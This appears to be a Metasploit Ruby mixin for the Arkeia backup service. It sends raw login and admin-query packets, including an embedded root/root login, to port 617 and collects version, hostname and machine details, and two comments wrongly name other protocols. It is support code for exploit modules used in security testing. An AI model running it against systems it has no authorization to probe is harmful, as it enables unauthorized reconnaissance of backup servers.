require 'msf/core'

module Msf

###
#
# This module exposes methods for manipulating the Arkeia backup service
#
###
module Exploit::Remote::Arkeia
	
	include Exploit::Remote::Tcp
	
	#
	# Creates an instance of a MSSQL exploit module.
	#
	def initialize(info = {})
		super

		# Register the options that all FTP exploits may make use of.
		register_options(
			[
				Opt::RHOST,
				Opt::RPORT(617),
			], Msf::Exploit::Remote::Arkeia)

		self.recv_buff = ''
	end
	
	
	#
	# Flush the receive buffer on a new connection
	#
	def connect
		super
		self.recv_buff = ''
	end
	
	#
	# This method dumps some information about the service
	#
	def arkeia_info
		connect
		
		info = { }
		resp = ''

		# Authenticate1
		req =
			"\x00\x41\x00\x00\x00\x00\x00\x73"+
			"\x00\x00\x00\x00\x00\x00\x00\x00"+
			"\x00\x00\x00\x00\x7f\x00\x00\x01"+
			"\x00\x00\x00\x00\x00\x00\x00\x00"+
			"\x00\x00\x00\x00\x00\x00\x00\x00"+
			"\x00\x00\x00\x00\x00\x00\x00\x00"+
			"\x00\x00\x00\x00\x00\x00\x00\x00"+
			"\x00\x00\x00\x00\x00\x00\x00\x00"+
			"\x00\x00\x00\x00\x00\x00\x00\x00"+
			"\x00\x00\x00\x00\x00\x00\x00\x00"+
			"\x01\x00\x00\x7f\x41\x52\x4b\x41"+
			"\x44\x4d\x49\x4e\x00\x72\x6f\x6f"+
			"\x74\x00\x72\x6f\x6f\x74\x00\x00"+
			"\x00\x34\x2e\x33\x2e\x30\x2d\x31"+
			"\x00\x00\x00\x00\x00\x00\x00\x00"+
			"\x00\x00\x00"
	
		sock.put(req)
		resp = arkeia_recv()
		if (not (resp and resp[0,4] == "\x00\x60\x00\x04"))
			disconnect
			return false
		end
		
		# Authenticate2
		req =
			"\x00\x73\x00\x00\x00\x00\x00\x0c" +
			"\x32\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\x00\x00"

		sock.put(req)
		resp = arkeia_recv()
		if (not (resp and resp[0,4] == "\x00\x60\x00\x04"))
			disconnect
			return false
		end		
		
		# SessionSetup1
		req = 
			"\x00\x61\x00\x04\x00\x01\x00\x15"+
			"\x00\x00\x31\x35\x33\x39\x38\x00"+
			"\x45\x4e\x00\x00\x00\x00\x00\x00"+
			"\x00\x00\x00\x00\x00"
			
		sock.put(req)
		resp = arkeia_recv()
		if (not (resp and resp[0,4] == "\x00\x43\x00\x00"))
			disconnect
			return false
		end
				
		# Begin the ARKADMIN_GET_CLIENT_INFO request
		req =
			"\x00\x62\x00\x01\x00\x02\x00\x25"+
			"\x41\x52\x4b\x41\x44\x4d\x49\x4e"+
			"\x5f\x47\x45\x54\x5f\x43\x4c\x49"+
			"\x45\x4e\x54\x5f\x49\x4e\x46\x4f"+
			"\x00\x32\x00\x00\x00\x00\x00\x00"+
			"\x00\x00\x00\x00\x00"
			
		sock.put(req)
		resp = arkeia_recv()
		if (not (resp and resp[0,4] == "\x00\x43\x00\x00"))
			disconnect
			return false
		end	
		
		# Complete the ARKADMIN_GET_CLIENT_INFO request
		req =
			"\x00\x63\x00\x04\x00\x03\x00\x11"+
			"\x30\x00\x31\x00\x32\x00\x00\x00"+
			"\x00\x00\x00\x00\x00\x00\x00\x00"+
			"\x00"
			
		sock.put(req)	
		1.upto(5) { |i|
			resp = arkeia_recv()
			break if not resp
			break if resp =~ /VERSION/
		}
		
		if (not (resp and resp =~ /VERSION/))
			disconnect
			return false
		end
		
		# Store the version information
		mver = resp.match(/IVERSION\x00([^\x00]+)/)
		info['Version'] = mver[1] if mver

		# Store the hostname information
		mver = resp.match(/ISERVNAME\x00([^\x00]+)/)
		info['Hostname'] = mver[1] if mver
		
		# Begin the ARKADMIN_GET_MACHINE_INFO request
		req =
			"\x00\x62\x00\x01\x00\x02\x00\x26"+
			"\x41\x52\x4b\x41\x44\x4d\x49\x4e"+
			"\x5f\x47\x45\x54\x5f\x4d\x41\x43"+
			"\x48\x49\x4e\x45\x5f\x49\x4e\x46"+
			"\x4f\x00\x33\x00\x00\x00\x00\x00"+
			"\x00\x00\x00\x00\x00\x00"
			
		sock.put(req)
		1.upto(5) { |i|
			resp = arkeia_recv()
			break if not resp
			break if resp[0,2] == "\x00\x43"
		}
		if (not (resp and resp[0,2] == "\x00\x43"))
			disconnect
			return info
		end			
		
		# Complete the ARKADMIN_GET_MACHINE_INFO request
		req =
			"\x00\x63\x00\x04\x00\x03\x00\x11"+
			"\x30\x00\x31\x00\x33\x00\x00\x00"+
			"\x00\x00\x00\x00\x00\x00\x00\x00"+
			"\x00"
			
		sock.put(req)
		1.upto(5) { |i|
			resp = arkeia_recv()
			break if not (resp and resp.length > 0)
			break if resp[0,2] == "\x00\x69"
		}
		if (not (resp and resp[0,2] == "\x00\x69"))
			disconnect
			return info
		end	

		# Finally, parse out and store all the parameters
		resp.split("TPVALUE\x00").each { |x|
			minf = x.match(/^([^\x00]+)\x00PNAME\x00([^\x00]+)/)
			if (minf)
				info[ minf[2] ] = minf[1]
			end
		}
		
		disconnect
		return info
	end
	
	#
	# This method reads from the socket and parses out a single
	# arkeia response, buffering the rest
	#
	def arkeia_recv(nsock = self.sock)
		if (self.recv_buff.length < 8)
			self.recv_buff << (sock.get_once || '')
		end

		if (self.recv_buff.length < 8)
			return false
		end
				
		# Read the length header out of the message
		dlen = self.recv_buff[6, 2].unpack('n')[0]
		
		# Do we have the entire response message?
		if (self.recv_buff.length >= dlen + 8)
			return self.recv_buff.slice!(0, dlen + 8)
		end
		
		return false
	end
	
	
	attr_accessor	:recv_buff
end
end
